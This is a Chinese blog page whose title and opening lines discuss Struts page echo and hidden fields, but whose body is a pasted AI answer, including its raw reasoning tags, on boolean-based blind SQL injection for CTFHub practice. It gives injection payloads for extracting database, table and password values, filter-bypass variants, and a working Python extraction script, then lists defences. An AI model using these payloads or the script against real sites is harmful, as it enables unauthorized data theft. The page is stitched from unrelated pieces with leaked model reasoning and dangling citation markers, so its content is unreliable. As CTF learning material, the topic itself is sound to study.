关于页面回显的笔记

本文介绍在修改操作中如何使用页面回显技术将对象置于栈顶并跳转到指定页面,确保页面能访问对象属性。同时探讨了隐藏域的设置及在后台获取隐藏域值的方法。

在涉及到修改时,通常需要用到页面回显技术,把对象放到值栈的对象栈的栈顶,并跳转到指定的页面,页面才能访问到当前对象的属性值。

隐藏域的赋值和后台获取隐藏域的值,需要在action类中定义隐藏域的set和get方法或者action类实现隐藏域属性相关的模型驱动

<think>我们被要求提供关于布尔盲注的知识点笔记。根据用户之前的查询和提供的参考资料,我们可以总结如下: 布尔盲注是SQL注入的一种,适用于当应用程序没有示数据库错误信息,但会根据查询返真假(True/False)来改变页面响应的场景。例如,页面可能返正常页面或错误页面(或不同的状态码),但不会直接示数据。 核心思想:通过构造SQL语句,根据页面的真假状态来逐位推断数据库中的信息(如数据库名、表名、字段名、数据内容等)。 步骤: 1. 判断注入点:通常通过输入真条件(如 `id=1 and 1=1`)和假条件(如 `id=1 and 1=2`)观察页面响应是否不同。 2. 推断数据库名的长度:使用`length(database())`函数,通过改变长度值并观察响应来判断。 例如:`?id=1' and length(database())=8 --+` 如果返正常页面,则数据库名长度为8。 3. 逐字符推断数据库名:使用`substr()`或`substring()`函数,结合`ascii()`函数将字符转换为ASCII码,然后通过比较ASCII码值来推断字符。 例如:`?id=1' and ascii(substr(database(),1,1))>97 --+` 判断第一个字符的ASCII码是否大于97,然后通过二分法缩小范围。 4. 推断表名:先推断表名的数量,再推断每个表名的长度,最后逐字符推断表名。 例如:获取第一个表名:`?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 --+` 5. 推断列名:类似表名。 6. 推断数据:类似。 在参考资料[^4]和[^5]中,提到了使用`limit`来逐个获取表,以及使用`length()`和`substr()`来获取长度和字符。 另外,在参考资料[^3]和[^5]中,提到了可以使用Python脚本自动化布尔盲注的过程。 布尔盲注的绕过技巧: - 如果引号被过滤,可以使用十六进制编码表示字符串。 - 如果空格被过滤,可以使用`/**/`或`%a0`等代替。 - 还可以考虑使用括号、注释等绕过。 布尔盲注的缺点:速度较慢,因为需要逐位判断。 自动化工具:sqlmap也可以用于布尔盲注(使用`--technique=B`),但手动编写脚本可以更灵活。 下面是一个简单的布尔盲注Python脚本框架(参考[^5]): ```python import requests url = "http://example.com/sqli?id=1" # 先获取数据库名长度 def get_database_length(): length = 0 while True: length += 1 payload = "' and length(database())={} -- ".format(length) params = {'id': '1' + payload} response = requests.get(url, params=params) # 根据页面内容判断,这里假设返内容中包含"query_success"表示真 if "query_success" in response.text: print("Database length:", length) return length # 获取数据库名 def get_database_name(length): database = "" for i in range(1, length+1): low = 32 high = 126 mid = (low + high) // 2 while low < high: # 判断第i个字符的ASCII码 payload = "' and ascii(substr(database(),{},1))>{} -- ".format(i, mid) params = {'id': '1' + payload} response = requests.get(url, params=params) if "query_success" in response.text: low = mid + 1 else: high = mid mid = (low + high) // 2 # 此时mid就是字符的ASCII码 database += chr(mid) print("Database name:", database) return database if __name__ == '__main__': length = get_database_length() get_database_name(length) ``` 注意:实际应用中需要根据目标页面的响应调整判断条件(例如,真条件的响应特征是什么,假条件的响应特征是什么)。 防御措施: - 使用预编译语句(参数化查询) - 对输入进行严格的过滤 - 使用最小权限原则 根据以上内容,我们整理布尔盲注的知识点笔记如下: </think>### CTFHub技能树布尔盲注知识点笔记 布尔盲注是SQL注入的核心技术之一,适用于**无错位、无数据但存在真假响应差异**的场景(如页面内容变化、HTTP状态码改变等)。以下是系统化总结: --- #### 一、核心原理 1. **盲注触发机制**: - 通过构造SQL条件语句(如`and 1=1`/`and 1=2`),观察页面响应差异: - **真条件**:返正常页面(HTTP 200)或特定关键字 - **假条件**:返错误页面(HTTP 404)或无数据内容[^1][^4] - **与报错注入的区别**: | 特性 | 布尔盲注 | 报错注入 | |--------------|-----------------------------|---------------------| | **响应依赖** | 页面状态/内容变化 | 数据库错误信息 | | **攻击速度** | 较慢(逐位爆破) | 较快(单次触发泄露)| | **适用场景** | 无错但存在响应差异 | 有数据库错误 | 2. **关键函数**: - **`length()`**:判断数据长度 ```sql ?id=1' AND length(database())>5 --+ -- 真则页面正常 ``` - **`substr()`或`substring()`**:截取数据字符 ```sql ?id=1' AND substr((SELECT database()),1,1)='a' --+ ``` - **`ascii()`**:字符转ASCII码(绕过引号过滤) ```sql ?id=1' AND ascii(substr(database(),1,1))>97 --+ -- 'a'的ASCII=97 ``` --- #### 二、实操步骤与技巧 1. **确认注入点与盲注类型**: ```sql ?id=1' and 1=1 --+ --> 正常页面 ?id=1' and 1=2 --+ --> 异常页面 # 确认布尔盲注存在[^4] ``` 2. **爆破数据库名**: - **STEP 1:判断长度** ```sql ?id=1' AND length(database())=8 --+ # 真则确定库名长度[^5] ``` - **STEP 2:逐字符爆破**(二分法加速) ```sql ?id=1' AND ascii(substr(database(),1,1))>100 --+ ``` 3. **爆破表名**: ```sql -- 第一张表长度 ?id=1' AND length((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=4 --+ -- 第一张表首字母 ?id=1' AND ascii(substr((SELECT table_name ... LIMIT 0,1),1,1))=117 --+ # 'u'的ASCII码[^4] ``` 4. **爆破字段与数据**: ```sql -- 字段值爆破 ?id=1' AND ascii(substr((SELECT password FROM users LIMIT 0,1),1,1))=48 --+ # '0'的ASCII码[^5] ``` --- #### 三、自动化脚本(Python) ```python import requests def bool_blind_injection(url): result = "" for pos in range(1, 50): # 逐位置爆破 low, high = 32, 126 # ASCII范围(可打印字符) while low <= high: mid = (low + high) // 2 payload = f"1' AND ascii(substr((SELECT database()),{pos},1))>{mid} -- " response = requests.get(f"{url}?id={payload}") if "query_success" in response.text: # 根据实际响应关键词调整 low = mid + 1 else: high = mid - 1 result += chr(low) print(f"Position {pos}: {chr(low)}") return result print(bool_blind_injection("http://ctfhub.com")) ``` **关键参数**: - `query_success`:替换为实际真条件响应特征(如特定HTML标签) - 二分法将平均爆破次数从256次降至7次/字符[^3][^5] --- #### 四、特殊场景绕过 1. **引号过滤**: - 使用`CHAR()`函数: ```sql ?id=1' AND substr(database(),1,1)=CHAR(115) --+ # 's'=115 ``` - 十六进制编码: ```sql ?id=1' AND substr(database(),1,1)=0x73 --+ # 's'的十六进制 ``` 2. **空格过滤**: - 用`/**/`或`%0a`代替: ```sql ?id=1'/**/AND/**/ascii(substr(database(),1,1))>97/**/--+ ``` 3. **逻辑运算符过滤**: - 用`^`(异或)替代`and`: ```sql ?id=1' ^ (ascii(substr(database(),1,1))>97) --+ ``` --- #### 五、防御措施 1. **预编译语句**(参数化查询) 2. **Web应用防火墙**(WAF)过滤敏感函数(`substr`/`ascii`等) 3. **统一错误页面**(消除真假响应差异) 4. **最小权限原则**(限制数据库账户权限) > 通过靶场练习(如CTFHub布尔盲注关、SQLi Labs)可快速掌握核心技巧[^4][^5]。重点训练二分法脚本编写和响应特征识别能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值